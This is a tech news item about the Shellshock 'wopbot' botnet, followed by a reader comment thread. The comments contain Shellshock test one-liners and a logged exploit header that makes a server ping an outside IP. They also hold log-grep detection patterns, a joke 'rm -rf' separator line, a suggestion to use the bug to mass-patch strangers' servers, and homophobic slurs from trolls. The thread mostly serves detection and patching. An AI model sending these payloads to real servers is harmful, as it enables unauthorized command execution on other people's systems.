First Shellshock Botnet Attacking Akamai, US DoD Networks
Bismillah writes The Bash "Shellshock" bug is being used to spread malware to create a botnet, that's active and attacking Akamai and Department of Defense networks. "The 'wopbot' botnet is active and scanning the internet for vulnerable systems, including at the United States Department of Defence, chief executive of Italian security consultancy Tiger Security, Emanuele Gentili, told iTnews. 'We have found a botnet that runs on Linux servers, named “wopbot", that uses the Bash Shellshock bug to auto-infect other servers,' Gentili said."
Italian? wopbot?
I'm at a loss for words - other than that seems offensive, even for non-politically-correct me.
"National Security is the chief cause of national insecurity." - Celine's First Law
no venerability should be without a logo :
https://twitter.com/johnjonesname
priceless excerpt: |The US DoD network in question is the 215.0.0.0/8 range, with approximately 16.7 addresses."
... how many Linux servers are there?
It little behooves the best of us to comment on the rest of us.
From TFA:
The US DoD network in question is the 215.0.0.0/8 range, with approximately 16.7 addresses.
Bold is mine.
It little behooves the best of us to comment on the rest of us.
It seems that you need to have the ability to execute an arbitrary bash command to actually make use of this weakness. So does that mean that in order to run it in a remote machine, you need to already have access to that machine? I'm confused about how you can scan for vulnerable systems.
For which bug are you referring?
CVE-2014-6271, or CVE-2014-7169? It seems yesterdays 'fix', might not have 'fixed' everything!
The screenshot in that article shows the shell prompt as "root@debian". But in reality, most Debian systems use "/bin/dash" as the default system shell instead of /bin/bash, which means most Debian systems are extremely hard to compromise; a CGI or system() call would have to go out of its way to invoke bash instead of dash.
It's not the only botnet being constructed, see my comment here - already 653 exploited servers there right now.
/var/log/apache2/access*|egrep "};|}\s*;"
:;}; echo vulnerable' bash -c 'echo Testing...'
This is quite bad - as long as a bash CGI script is found by probing, exploiting only require putting a bash command in a header such as "Cookie:" for it to be executed. And this is only through HTTP - there are also aready other proof of concepts exploiting this through other bash-using services (DHCP servers for example).
You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):
grep cgi
And you can check if your bash is vulnerable using:
env x='() {
If 'vulnerable' appears, it is.
Well...
As a software engineer they expect me to be a sysadmin.
Seriously!
Shell scripts have been known to be basically insecure for a long time. Why would you expose one to a web or network interface?
Of course, that just leaves ssh, but at least some authentication SHOULD be required there.
I guess you cocksucking faggots should have used Microsoft Windows Server instead of something as insecure as Linux.
For best results use Microsoft Windows, faggots!
Well, ask Home Depot and Target their opinions. I am sure they are right there with you.
To clarify:
Each /8 block contains 16,777,216 addresses.
It little behooves the best of us to comment on the rest of us.
"she'll commands"? A little submissive, are we?
It's that simple. Even with the patches, bash is still running the contents of environment variables through its general command parser in order to parse the procedure. That's ridiculously dangerous... the command parser was never designed to be secure in that fashion. The parsing of env variables through the command parser to pass sh procedures OR FOR ANY OTHER REASON should be removed from bash outright. Period. End of story. Light a fire under the authors someone. It was stupid to use env variables for exec-crossing parameters in the first place. No other shell does it that I know of.
This is a major attack vector against linux. BSD systems tend to use bash only as an add-on, but even BSD systems could wind up being vulnerable due to third party internet-facing utilities / packages which hard-code the use of bash.
-Matt
You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):
grep cgi /var/log/apache2/access*|egrep "};|}\s*;"
Thanks for the nice grep work - found one attempt to get my box to rat itself out via ping:
/var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:03:52:14 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1799 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Fortunately I was patched several hours prior to that.
Would there be any way for that probe to execute against a static 404 page - no cgi executing?
*COUGH*bullshit*COUGH*
Fix for CVE-2014-7169 was posted only a small bit ago:
http://www.openwall.com/lists/oss-security/2014/09/26/1
You're a developer so you should know more ;) I mostly use zsh myself, but I'm curious as to what benefit or convenience feature this behavior gives to bash? Also are "normal" uses vulnerable or just web servers?
... how the indignation at a major vulnerability like this (2nd in a few months) is so muted when the OS in question doesn't come from Microsoft.
At least one of them in charge of each group of systems should be that or an equivalent. Being good at Skyrim is not enough to effectively run systems over time.
I saw scans today starting just after noon Pacific Time.
The web server I checked had the same attack done on it...with the same source IP...and even the same ping address!
Oh man, this comment has me pissing my pants laughing. Its so over the top. it should be in a Will Ferrel movie. If you are not trying to be funny, that would make it even more hilarious. Hehe.
I would imagine slashdotters are currently preoccupied with the topic of the OP.
Given there's a 20% chance the internet will go dark in the next 72 hours... (My numbers.)
Tell ya what Erno, I'll take my chances with Linux... YMMV.
You know, you should just get an account. Posting nearly a half-dozen trolls within a short time with the same basic mistakes and format is apparent to even a casual observer.
tl;dr: lame troll is mildly amusing but mostly pathetic.
Just update Bash, jeeez
It was just lazy programming. it's not an intentional feature. I doubt it's a useful feature either.
Time to put on some pants, UNIX/Linux geeks: ain't no operating system out there immune to error.
No fucking kidding, software has bugs. And this is a doozy. It's not the first WTF moment we've seen, and it probably won't be the last.
As with the Y2K problem, though, the proof of the pudding is in the tasting. The real test will come when we look back and measure the impact. Will we see a digital wasteland, a web devastated by shellshock-ing predators? Will we find ourselves living in an online New Jersey of the soul, wretched, empty bit-badlands stretching out to the horizon in every direction? Will the Evil Bit finally be flipped? Or will this be like the day when the public library almost burnt down, but we saved all the books by forming a bucket brigade? It's too early to say, right now. But my guess is that, unlike Microsoft's legacy, the fall-out from this event will be the stuff of a cautionary tale for young systems developers, explaining how all the cleverness in the world won't save you from stupidity, so the only really good system is one that can be patched quickly, effectively and simply.
Kant might also have admitted that, while no straight thing was ever made, quite a few bent things were subsequently straightened.
Crumb's Corollary: Never bring a knife to a bun fight.
MS bugs don't even make the headlines anymore.
I just updated Ubuntu 14.04. The first vulnerability which was CVE-2014-6271 would show up with the following line in bash: :;}; echo vulnerable' bash -c "echo this is a test" ... if it says 'vulnerable', then you are, and if it says 'this is a test' you are safe (from CVE-2014-6271). ...but there was a second attack vector, and US Cert gave it a second number CVE-2014-7169. ... and if it gives the date, you are still vulnerable. And I was until I got a second update from Ubuntu just a few minutes ago (although it could be older than that). And when you are safe from CVE-2014-7169 the second script returns: .... and that seems to be it. I haven't tried to run my massive software build (about 15 interconnected bash scripts that compiles a software stack consisting of about 30 pieces of software), but I will likely do it tomorrow. In on instance did I ever try to put executable code into environment variables (I didn't know you could), so I don't think I will be affected.
env x='() {
the second attack vector can be shown in a compromised version of bash with the following line:
env -i x='() { (a)=>\' bash -c 'echo date'; cat echo
bash: x: line 1: syntax error near unexpected token `='
bash: x: line 1: `'
bash: error importing function definition for `x'
date
cat: echo: No such file or directory
You can get pretty close, as the front page of openbsd.org says:
"Only two remote holes in the default install, in a heck of a long time!"
(and the capcha is "reactive," which is exceedingly appropriate: OpenBSD's security philosophy is proactive, trying to correct potential vulnerabilities before they are exploited.)
Obvious posting from a (possibly payrolled) Windoze Zealot.
I agree the Linux world have been far far too smug for far far too long - this was coming. But we got 3 updates in 28 hours. If this was a MicroDoze bug we'd still be waiting for a first (botched) attempt at a patch in what ... 2027?
You get what you pay for, I guess. Thanks again for making the internet less secure, freetards!
Let me guess that Nutella pays your monthly bills...
Linux is still and will remain 1000x more secure than any Windows version ever.
The only exception would be if Microschofft stopped making their pathetic OS and based their new one on Unix / Linux. Though they would bollocks it up like Google crippled Linux into the Android virus platform. Apple moved to *nix land, throwing in the towel on MacOS and basing it all on BSD Unix plus the Nexxt GUI layer - big success.
If shellshock lets remote users execute arbitrary shell commands, should we just run a scan of the whole internet (https://github.com/robertdavidgraham/masscan), and issue apt-get update & apt-get upgrade? Use the bug to patch the bug?
The prober is sending this string in an HTTP header field (I've received these from 3 different IPs over the past couple of days - I've seen these in the web server logs):
"() { :; }; /usr/ping -c 3 [some ipv4 address to ping]" :; }; ping -c 11 [some ipv4 address to ping]" :; }; /bin/ping -c 1 [some ipv4 address to ping]"
"() {
"() {
I'm seeing these in the "Referer" header and "User Agent" header. There are other http header fields: http://en.wikipedia.org/wiki/List_of_HTTP_header_fields. I'm not logging those headers, only the defaults I mentioned just now.
So... unless your CGI script is extracting a header field and feeding it to a bash script... you should be okay in terms of HTTP requests with this in their header?
Your web server might be responding with a 200 response code, but that's just because whatever the URL requested is, is being successfully sent.
Thoughts?
However, this has nothing to do with users on your box maybe trying to do privilege escalation with this bash trick. But... this isn't a privilege escalation trick - the user shouldn't have any more access to the system than he would have with running the commands directly, right?
At least for RedHat/CentOS, CVE-2014-7169 has been patched now as well. https://rhn.redhat.com/errata/...
It does not automatically mean that, but money can buy you some nice quality assurance and code auditing.
Well...
As a software engineer they expect me to be a sysadmin.
I know that feeling all too well...
Hackers took over my Gentoo box you insensitive clod!
Just the other day I commented in a SystemD discussion how scripts break easily and are slow to execute. One of the replies I got was "Scripts don't break themselves. They do exactly what you tell them to do." Heh, indeed they do. Didn't we just hear about one Shellshock-related attack where a malicious DHCP server can command a dhclient script do nasty things. Scripting is a problem and binary modules would provide more robust interfaces. It is a thing worth giving a thought.
Well...
As a software engineer they expect me to be a sysadmin.
Seriously!
Shell scripts have been known to be basically insecure for a long time. Why would you expose one to a web or network interface?
Of course, that just leaves ssh, but at least some authentication SHOULD be required there.
Software Engineer, Sysadmin, Web Master... what's the difference? It's all "computer guy" to management.
Shell scripts are there because someone sacrificed a little security for temporary liberty (like getting home earlier, or getting to keep his job).
Here is your daily buck feta broadcast. So, buck feta.
Buck Feta. You know what to do.
This vulnerability also exists in non F/OSS OSes, such as OS X.
OS X uses the same open source Bash that Linux systems do.
I do not understand the problem
“He’s not deformed, he’s just drunk!”
I think the bigger than heartbleed comments might be a bit overblown. If you're running CGI and your web server is running as root, you probably have a serious problem. Otherwise, it's just a PITA when you have other things to work on. Can anyone tell me why the script kiddies are scanning 23? I haven't seen an open telnet port in years. From all the reports I've read, about the only things vulnerable are web servers running CGI which was pretty vulnerable before.
I'm not sure this is too big a deal. You hear about the problem and you patch it. Both the systems I have that are Internet facing use distros that had new bashes available very quickly. Yesterday morning I wasted 15 minutes on this. We'll now be reading about it for the next month.
I guess the problem will remain for those that don't patch.
A self-propagating infection like the SQL Slammer.
It's funny how (a) you don't have a fucking idea what you are talking about and (b) you get your paradigm for exploits from your own system ignoring completely how other systems work. That's fucking hilarious! HAHAHAHAHHAHAHAH
Ignoring the pointlessly offensive comment about Skyrim, I think requiring a software engineer as part of every IT infrastructure team maintaining Linux servers seems difficult to achieve. I'm not saying it's extremely rare, but I don't think it's all that frequent right now, at least not outside of Fortune 500 companies or so. Furthermore, even if you had one in your team, what makes you think he will be able make a patch for bash faster than to wait for one to be released?
Are you joking or trying to mislead?
I really mean being able to build from source including patches faster than a package comes out for the platform, which may be weeks or never if the platform is an old software distribution. That's the bar I'm setting for "software engineer". It may be a bit lower than what you mean.
its not just shell cgi scripts , other services pass data they receive through environment variables , these include dhcp clients and any other non authenticated services.
a simple fix is to use a different shell for now.
[site]
... how the indignation at a major vulnerability like this (2nd in a few months) is so muted when the OS in question doesn't come from Microsoft.
Bugs happen. The bullshit and coverup that comes with many of them needn't happen.
When did shellshock come out? A week ago?
We already have testing routines, fixes, live reports on ongoing exploits, ad-hoc sidetracking fixes for commercial non-FOSS versions (Mac OS X), countless how-tos on how to close up holes, a lively worldwide debate among experts on how to prevent this class of exploit, the bash crew merging the fixes, existing updates for debian, etc.
Seriously, this is a *very* *bad* hole, and yet the cool with which I was able to approach it simply knowing that all my outward facing boxes run a type-a prime FOSS distribution like debian was something you will not see with a windows admin. apt-get upgrade, apt-get update ... bladibla blubdiblub packageA bash someOtherPackage ... bladibla continue? Fuck yeah. Hit Enter. Yawn. Go get some coffee, come back, paste the onliner test. Fixed.
Sorry pal, but even with a bug of this magnitude, the way the FOSS community deals with it is a whole different league than any other camp. Openness beats everything else in this line of work, every time.
My 2 cents.
We suffer more in our imagination than in reality. - Seneca
there was a huge bot net some time back on windows that tried to eat TOR, it got zero press, years before google "Nimda" if any real info is left about it, you would be able to read how Microsoft hid behind linux servers to protect themselves.
shall I post the IP of my Debian box, so you can show me what you can do to it?
Has it been going on.
"If any question why we died, Tell them because our fathers lied."
If the systems really had the /bin/bash exposed, then they were insecure from the day one. It is just that nobody had realized that before.
Otherwise I wonder whether the Debian's /bin/sh being the dash somehow mitigated the problem for the Debian system?
All hope abandon ye who enter here.
Yes, I think we had totally different things in mind when you mentioned the term "software engineer", especially now that you reduce the term to being able to apply a patch to source code.
It does not automatically mean that, but money can buy you some nice quality assurance and code auditing.
Can it? Could you point out an example of that?
(Outside, possibly, the Space Shuttle landing software).
This will redirect them:
RedirectMatch permanent /cgi-sys/defaultwebpage.cgi https://www.youtube.com/watch?v=dQw4w9WgXcQ
echo Look Out For this semicolon separating commands; rm -rf
* If that sucker's being run with admin/root/superuser priveleges? Well, you know...
APK
P.S.=> Now that it's been patched, you *REALLY* have to wonder how many "bad guys" KNEW about it, long before this all came out, & what they DID with it - my guess is, they planted ALL SORTS of "bushwhacks" all over the place on *NIX variants, worldwide (worse than you're seeing now)... apk
I know for a fact that my home router shells out to IP Chains to generate the NATed ports page. It will show this page to anyone and I can't turn it off -- remote administration is OFF, but for my router that just means only 192.* addresses can login and change things like the NATed ports. It still serves up the web pages to all requestors.
> Of course, as a sysadmin I should also be a software engineer. How stupid of me.
Yes you are stupid. Being enough of a "software engineer" to patch bash is a pretty pathetically low bar for any computing professional anywhere. It doesn't matter if they are "only a sysadmin".
It's not exactly rocket science.
This is what you get when your OS vendor tells you that you can have trained monkeys manage your systems.
A Pirate and a Puritan look the same on a balance sheet.
As a software engineer they expect me to be a sysadmin.
As a sysadmin, I'd say that's a crazy idea. However if you are capable of digging into such, it must mean that you're quite attractive an an employee, and in some ways makes you a better software engineer too.
Politics; n. : A religion whereby man is god.
"HERP! Paying money automatically means more secure! DERP!"
No, paying money means you automatically have someone who is liable and thus responsible.
It turns out that bash was JavaScript before JavaScript was cool.
"They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety."
For those entrenched in legacy platforms and technology - yep, they deserve it. might as well say AT&T UNIX System V is vulnerable if big iron heads are using it. 20 years ago, not so much in a closed network work, with just a DARPA kind of collective between institutes and government. Today, all bets are off; every home has a super command and control set of systems with high bandwidth capabilities to attack and sever critical systems across the world.
We deserve what our inept IT leaders don't want to admit. They deserve what they swallow - puke.
be well and may the force be with you.
As an actual certified professional engineer that now happens to work in IT I'm constantly reminded that the term now applies to an intermediate technician skill level. Sorry I misunderstood that you seem to mean someone in more of a lead role.
Anyway, I was trying to push the point that at least one person who at least has some grasp of programming should be in each group of sysadmins or able to be called in by them at short notice. Otherwise the sysadmin just becomes the guy that can follow a Standard Operating Procedure and calls phone support if something is not on the list. Why did we spend so much time learning about stuff if we're not going to be capable enough to write a new S.O.P. when things change?
I've forbidden shell interactions from web servers forever on my client systems and I'm always in shock that online control panel systems allow direct shell access to the system. It just seems obviously wrong.
- Michael T. Babcock (Yes, I blog)